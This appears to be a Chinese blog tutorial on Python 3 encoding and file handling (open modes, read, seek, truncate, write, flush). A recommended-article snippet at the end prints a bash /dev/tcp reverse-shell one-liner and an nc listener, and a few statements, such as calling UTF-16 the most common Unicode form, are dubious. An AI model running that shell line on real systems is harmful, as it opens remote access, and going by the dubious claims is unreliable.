Day2-Python3基础-文件操作
1. 字符编码与转码
需知:
1.在python3默认编码是unicode
2.unicode 分为 utf-32(占4个字节),utf-16(占两个字节),utf-8(占1-4个字节), so utf-16就是现在最常用的unicode版本, 不过在文件里存的还是utf-8,因为utf8省空间
3.在py3中encode,在转码的同时还会把string 变成bytes类型,decode在解码的同时还会把bytes变回string
- import sys
- print(sys.getdefaultencoding())
- msg = "我爱北京天安门"
- #msg_gb2312 = msg.decode("utf-8").encode("gb2312")
- msg_gb2312 = msg.encode("gb2312") #默认就是unicode,不用再decode,喜大普奔
- gb2312_to_unicode = msg_gb2312.decode("gb2312")
- gb2312_to_utf8 = msg_gb2312.decode("gb2312").encode("utf-8")
- print(msg)
- print(msg_gb2312)
- print(gb2312_to_unicode)
- print(gb2312_to_utf8)
2. 文件操作
对文件操作流程
- 打开文件,得到文件句柄并赋值给一个变量
- 通过句柄对文件进行操作
- 关闭文件
打开文件的模式有:
- r,只读模式(默认)。
- w,只写模式。【不可读;不存在则创建;存在则删除内容;】
- a,追加模式。【可读; 不存在则创建;存在则只追加内容;】
"+" 表示可以同时读写某个文件
- r+,可读写文件。【可读;可写;可追加】
- w+,写读
- a+,同a
"U"表示在读取时,可以将 \r \n \r\n自动转换成 \n (与 r 或 r+ 模式同使用)
- rU
- r+U
"b"表示处理二进制文件(如:FTP发送上传ISO镜像文件,linux可忽略,windows处理二进制文件时需标注)
- rb
- wb
- ab
读取文件
读取文件read()方法
- ff=open(r'G:\新建文本文档.txt')#打开文件
- print("文件名为:",ff.name)#输出文件的名称
- print(ff.read(6))#读取前6个字符
- #如果想读取整个文本内容,可以不指定size的值或将size的值设置为负数
- print(ff.read())
逐行读取readline()方法
- fu = open(r'G:\newtest.txt')#打开文件
- print('文件名称为:',fu.name)#输出文件名称
- line=fu.readline()
- print("读取第一行 %s" % (line))
- print("读取的字符串为:%s" % fu.readline(5))
- fu.close()#关闭文件
返回文件各行内容的列表readlines()方法
- #readlines()方法用于读取所有行并返回列表。
- #fileobject.readlines(size),size为从文件中读取的字符数
- fy=open(r'G:\newtest.txt')
- print("文件名称为:",fy.name)
- line=fy.readlines()
- print("读取的文本数据为:%s" % line)
- fy.close()
返回文件的当前位置tell()方法
- #tell()方法返回文件的当前位置,即文件指针当前位置。 fileobject.tell()
- fu=open(r'G:\newtest3.txt')
- print("文件名称为:",fu.name)
- line=fu.readline()
- print("当前数据为:%s" % (line))
- post=fu.tell()
- print("当前位置为:%s" % (post))
- fu.close()
截断文件truncate()方法
- #truncate()方法用于截断文件。fileobject.truncate([size]),size为可选参数,如果指
- #定size,则表示截断文件为size个字符。如果没有指定size,则重置到当前位置。
- fu=open(r'G:\newtest3.txt','r+')
- print("文件名称为:",fu.name)
- line=fu.readline()
- print("当前获取地数据为: %s"%(line))
- fu.truncate()#从当前位置截断文件
- line1=fu.readlines()
- print("当前文本数据为:%s" % (line1))
- fu.close()
- #用户也可以指定需要截断的字符数
- fu=open(r'G:\newtest3.txt','r+')
- print("文件名称为:",fu.name)
- fu.truncate(6)#截断6字符
- line1=fu.read()
- print("当前文本数据为:%s" % (line1))
- fu.close()
设置文件当前位置seek()方法
- '''
- seek()方法用于移动文件读取指针到指定位置。 fileobject.seek(offset[,whence]) offset表示开始的偏移量,也就是需要移动偏移的字节数。whence为可选参数,表示从哪个 位置开始偏移,默认值为0,表示从文件的开始算起;若为1则表示从当前位置算起,若为2,则表示 从文件末尾算起。
- '''
- fu=open(r'G:\newtest3.txt','r+')
- print("文件名称为:",fu.name)
- line=fu.readline()
- print("当前文本数据为:%s" % (line))
- fu.seek(0,0)#重新设置文件读取指针到开头
- line1=fu.readline()
- print("当前文本数据为:%s" % (line1))
- print()
- fu.close()
写入文件
write()
- '''
- write()方法用于向文件中写入指定字符串。在文件关闭前或缓冲区刷新前,字符串内容存储在 缓冲区中,此时在文件中看不到写入的内容。 write()方法 fileobject.write([str]),str为需要写入文件中的字符串。
- '''
- #将字符串的内容添加到test.txt文件中
- fu=open(r'G:\test4.txt','r+')
- print("文件名称为:",fu.name)
- str='古木无人径,深山何处钟。'
- fu.seek(0,2)#设置位置为文件末尾处
- line=fu.write(str)
- fu.seek(0,0)#设置位置为文件开始处
- print("新文本数据为:%s" %fu.read())
- fu.close()
- #如果用户需要换行输入内容,可以使用"\n"
- #将字符串的内容添加到test.txt文件中
- fu=open(r'G:\test4.txt','r+')
- print("文件名称为:",fu.name)
- str='\n冷风吹吹,吹呀吹'
- fu.seek(0,2)#设置位置为文件末尾处
- line=fu.write(str)
- fu.seek(0,0)#设置位置为文件开始处
- print("新文本数据为:%s" %fu.read())
- fu.close()
writelines()
- '''
- writelines()方法可以向文件写入一个序列字符串列表,如果需要换行则要加入每一行的换行符。 file.writelines([str]),str为写入文件的字符串序列
- '''
- fu=open(r'G:\test5.txt','w')#打开文件
- print("文件名称为:",fu.name)
- sq=['春天的风\n','能否吹来夏天的雨\n','秋天的月\n','能否照亮冬天的雪\n',
- '夜空的星\n','能否落向晨曦的海\n']
- fu.writelines(sq)
- fu.close()
- fu=open(r'G:\test5.txt')
- print(fu.read())
- fu.close()
修改文件内容
- ff=open(r'G:\file\test6.txt','w')
- print("文件名称为:",ff.name)
- sd=['春天的风\n','能否吹来夏天的雨\n','秋天的月\n','能否照亮冬天的雪\n',
- '夜空的星\n','能否落向晨曦的海\n']
- ff.writelines(sd)#给test6.txt文件写入sd列表数据
- ff.close()
- ff=open(r'G:\file\test6.txt')
- lines=ff.readlines()
- print("原始文本数据为",lines)
- ff.close()
- lines[1]='你只是一个过客。\n'
- ff=open(r'G:\file\test6.txt','w')
- ff.writelines(lines)
- ff.close()
- ff=open(r'G:\file\test6.txt')
- print("修改后的文本数据为:%s" %(ff.read()))
附加到文件
- #创建一个文本文件test7.txt,并写入内容"煮豆燃豆萁,豆在釜中泣"
- ff=open(r'G:\file\test7.txt','w')
- st="煮豆燃豆萁,豆在釜中泣。"
- '''
- 用户可以将一个文件的内容全部附加到另一个文件中。
- '''
- ff.write(st)
- ff.close()
- #创建一个文本文件test8.txt,并写入内容"本是同根生,相煎何太急?"
- ss=open(r'G:\file\test8.txt','w')
- tt="本是同根生,相煎何太急?"
- ss.write(tt)
- ss.close()
- #这里将test8的内容先赋值给变量content
- file=open(r'G:\file\test8.txt','r')
- coutent = file.read()
- file.close()
- #然后以追加模式打开test7.txt文件,将变量coutent
- fileadd=open(r'G:\file\test7.txt','a')
- fileadd.write(coutent)
- fileadd.close()
- #读取test7.txt的文本内容
- file7=open(r'G:\file\test7.txt')
- print("test7.txt文本内容:",file7.read())
- file7.close()
关闭文件
- close()方法用于关闭一个已经打开的文件。关闭后的文件不可以在进行读写操作, 否则会触发ValueError错误。close()方法允许调用多次。 fileobject.close()
- 当file对象被引用到操作另一个文件时,Python会自动关闭之前的file对象。
刷新文件
- '''
- flush()方法是用来刷新缓冲区的,即将缓冲区中的数据立即写入文件,同时清空缓冲区, 不需要被动地等待输出缓冲区重写 一般情况下,文件关闭后会自动刷新缓冲区,但是有时需要在关闭前刷新空缓冲区, 这是就可以调用flush()方法。 fileobject.flush()
- '''
- fu=open(r'G:\file\test8.txt','r+')
- print("文件名称:",fu.name)
- str="看那轻飘飘的衣摆,趁擦肩把裙掀"
- fu.write(str)
- fu.flush()
- fu.close()
Day2-Python3基础-文件操作的更多相关文章
- python3.7 文件操作
#!/usr/bin/env python __author__ = "lrtao2010" #python3.7 文件操作 # r 只读,默认打开方式,当文件不存在时会报错 # ...
- 小白学 Python(18):基础文件操作
人生苦短,我选Python 前文传送门 小白学 Python(1):开篇 小白学 Python(2):基础数据类型(上) 小白学 Python(3):基础数据类型(下) 小白学 Python(4):变 ...
- python基础-文件操作
一.文件操作 打开文件时,需要指定文件路径和以何等方式打开文件,打开后,即可获取该文件句柄,日后通过此文件句柄对该文件操作. 打开文件的模式有: r ,只读模式[默认模式,文件必须存在,不存在则抛出异 ...
- Python基础--文件操作和集合
这篇博客来说一下python对文件的操作. 对文件的操作分三步: 1.打开文件获取文件的句柄,句柄就理解为这个文件 2.通过文件句柄操作文件 3.关闭文件. 现有以下文件file.txt: 我们哭了 ...
- Python基础(六) 基础文件操作
今天学习python下对文件的基础操作,主要从open函数.File对象的属性.文件定位.简单操作.举例说明几个步骤开始学习,下面开始进入今天的主题: 一.open函数介绍 open函数主要是打开一个 ...
- Python 基础 文件操作
字符串与字节之间的转换 # utf-8 一个汉字 占三个字节 # gbk 一个汉字 占两个字节 # 字符串转换成字节 print(bytes('汉字', encoding='utf-8'))print ...
- 【python3之文件操作】
一.文件操作 1.文件处理的流程 1)打开文件,得到文件句柄并赋值给一个变量 2)通过句柄对文件进行操作 3)关闭文件 例如: f = open('chenli.txt') #打开文件 first_l ...
- python基础-文件操作(10)
一.什么是文件 等等这些都叫做文件,各种格式的.但不仅仅限制于这些. 二.文件的作用 大家应该听说过一句话:“好记性不如烂笔头”. 不仅人的大脑会遗忘事情,计算机也会如此,比如一个程序在运行过程中用了 ...
- Python基础————文件操作
文件操作 4.1 文件基本操作 obj = open('路径',mode='模式',encoding='编码') # 表示要干嘛 读 还是写 obj.write() #写什么内容 obj.read() ...
随机推荐
- 【Kubernetes】容器集群管理常用命令笔记
一.集群部署-查询集群状态 ①查询k8s master各组件健康状态: kubectl get componentstatus ②查询k8s node健康状态: kubectl get node 二. ...
- Avram Joel Spolsky给计算机系学生的建议
Avram Joel Spolsky给计算机系的学生给了如下建议: (1)毕业前练好写作 (2)毕业前学好C语言 (3)毕业前学好微观经济学 (4)不要因为枯燥就不选修 ...
- Vijos1774 机器翻译 [模拟]
1.题意:给定一段长度为N个单词的文章(一个单词用一个非负整数表示),可以使用一个容量为M个元素的容器.你的任务是使用字典的帮助翻译文章,遇到一个单词,查询之后将此单词的释义放入容器中,下次遇到时若此 ...
- 反弹shell理解
靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...
- Kafka2.4发布——新特性介绍(附Java Api Demo代码)
新功能 允许消费者从最近的副本进行获取 为 Consumer Rebalance Protocol 增加对增量协同重新均衡(incremental cooperative rebalancing)的支 ...
- DEVOPS技术实践_15:使用Docker作为Jenkins的slave
前面实验了使用docker搭建一个jenkins,下面实验使用docker作为jenkins的slave节点 1. 环境准备 一个运行Docker的主机或者群集 Jenkins应该能访问互联网,方便安 ...
- Linux 学习笔记 4 创建、复制、移动、文件的基本操作
写在前面 通过上一节的学习,我们基本的了解到在Linux 里面对于设备的挂载.卸载以及设备存在的目录.挂载目录.都有了一个基本的了解 本节主要了解文件.以及目录的相关操作,比如文件.目录的创建.以及删 ...
- 详解js的bind、call、apply
详解js的bind.call.apply 说明 虽然bind.call.apply都是js很基础的一块知识,但是我从未认真总结过这三者的区别. 由于公司后端是用的微服务架构,又没有中间层对接,导致前端 ...
- JVM探秘:Java内存区域
本系列笔记主要基于<深入理解Java虚拟机:JVM高级特性与最佳实践 第2版>,是这本书的读书笔记. 概述 Java 虚拟机为程序员分担了很多内存管理的工作,不再像 C/C++ 那样容易出 ...
- JDK1.8中的HashMap实现
1.HashMap概述 在JDK1.8之前,HashMap采用数组+链表实现,即使用链表处理冲突,同一hash值的节点都存储在一个链表里.但是当位于一个桶中的元素较多,即hash值相等的元素较多时,通 ...